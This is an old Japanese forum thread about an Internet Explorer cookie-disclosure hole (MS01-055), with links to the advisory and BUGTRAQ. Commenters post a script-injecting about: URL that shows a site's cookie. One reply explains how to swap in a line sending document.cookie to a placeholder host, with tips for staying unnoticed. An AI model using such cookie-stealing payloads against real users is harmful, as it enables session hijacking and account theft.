「今度はCookieがらみ。IEのセキュリティーホール」記事へのコメント

関連リンク

[k3c (4386)]

いくつか関連リンクを提示しておきます。

• 日経バイトの記事にもありましたがMicrosoft Security Bulletin MS01-055 [microsoft.com]
• BUGTRAQの記事 [securityfocus.com]
• セキュリティホールmemo MLの関連記事 [ryukoku.ac.jp]

これやってみよう！

[deleted user (1544)]

上記の bugtraq の通りに書いてみました。
JScriptオンにして、M$IEで
about://srad.jp/<script%20language=JavaScript>alert(document.coo...
を実行してみてください。見事に /. のクッキーが出ます。。。。

Re:これやってみよう！

[deleted user (1544)]

で、これをどうやって悪用するんだろう?

Re:これやってみよう！

[seldon (5637)]

この例文だと、alartで単にダイヤログ出すようになってるだけだけど、alartの代わりにlocation.href(%22http://dokkano.site/?%22+document.cookie) とかしといて、そのdokkano.siteでは別のページへ直ちに移るようにしておけば、アクセスログにユーザのcookieの情報を残す事ができます。
太い帯域で繋がってるレスポンスの速いサーバを使えば、見つかりにくいかもしれないし、ポップアップ広告みたいなアドレス欄非表示のウィンドだとまずわかんないでしょうね。